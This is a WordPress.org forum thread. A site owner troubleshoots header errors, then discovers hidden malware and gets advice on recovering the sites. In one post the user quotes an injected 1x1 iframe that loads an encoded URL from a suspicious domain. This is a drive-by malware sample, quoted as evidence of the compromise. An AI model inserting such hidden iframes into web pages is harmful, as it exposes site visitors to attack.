WordPress.org

Ready to get started?Download WordPress

Forums

[resolved] A New "Warning: Cannot modify header information" (8 posts)

  1. joetaxpayer
    Member
    Posted 3 years ago #

    I have two sites that now produce this error. A reinstall of 3.1 kills the errors for a few hours but then, it's back.
    It's only when accessing the 'other way' from how the WP site is set up.
    http://www.recipebuzz.net/ produces the error but
    http://recipebuzz.net/ looks fine.
    similarly,
    http://anotherfinemeal.com/ produces the error, but
    http://www.anotherfinemeal.com/ loads fine.

    The full error is nearly identical for both;
    Warning: Cannot modify header information - headers already sent by (output started at /homepages/18/d94445343/htdocs/meal/index.php(1) : eval()'d code:37) in /homepages/18/d94445343/htdocs/meal/wp-includes/pluggable.php on line 897

    I tried deactivating all plugins as a test, but that didn't help.
    I updated to 3.1 as these two sites appear to have been hacked, but in hindsight, it may have been connected to this.

    I'll leave it showing for now as links to the sites should still function correctly.

    Is there a preferred way to set up WP http://site.com vs http://www.site.com ?
    Odd that both non-main urls break this way.

  2. joetaxpayer
    Member
    Posted 3 years ago #

    Given the strange nature of the h**p://www vs h**p://site, I started searching and found those searching for how to redirect as they had general loading issues. Adding this to .htaccess file did the trick for me:

    RewriteEngine on
    RewriteCond %{HTTP_HOST} ^www.recipebuzz.net [NC]
    RewriteRule ^(.*)$ http://recipebuzz.net/$1 [L,R=301]

    The 'spaces' issue didn't seem to apply here, and that was much of what the FAQ suggested.
    More than anything, I don't understand why the 3.1 reinstall worked at first, then went back to this error. Also - regardless of how page loads, doesn't the same code get run? It would make more sense to me if both flavors of access www or not, had the issue.
    Thanks, I hope this code above makes it to the FAQ, it came from WarriorForum who obviously deserves the credit.

  3. Yeah, that code works great (I use it myself) but if your site is working and then breaking, it's something on your HOST's end that's having a fit :/

  4. joetaxpayer
    Member
    Posted 3 years ago #

    Yes. It's more than this.
    When in the bad mode, the first line of view source shows;
    <iframe src="http://3rhancsjvmjcg.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNAwcCAQMMAw==" width="1" height="1"></iframe>

    This is getting inserted somewhere. A reinstall of WP kills it but only for a while.
    What files do I need to change to "read only" to block this? Any straightforward way to fight this off?

  5. THAT means you've been hacked.

    http://codex.wordpress.org/FAQ_My_site_was_hacked

  6. joetaxpayer
    Member
    Posted 3 years ago #

    Thanks, that article had great advice.
    I'm starting the process of backing up, and reinstalling into a new SQL database, taking the wp_ table advice and using other characters.

    I am using an export that says it "will contain your posts, pages, comments, custom fields, categories, and tags."

    I take this to mean I need to manually move the content (images, etc) folder to the new directory as well, right? Anything else to watch for?
    I am creating a completely new directory as well, so I don't mess up the old until the new is created and is running.

    Again, thanks for the help.

  7. I take this to mean I need to manually move the content (images, etc) folder to the new directory as well, right? Anything else to watch for?

    Yeah... If you're doing the WordPress import, I think it has to be able to FIND your images. I can't remember how it works off the top of my head though :/ Been a while since I used it!

    I am creating a completely new directory as well, so I don't mess up the old until the new is created and is running.

    That should be okay.

Topic Closed

This topic has been closed to new replies.

About this Topic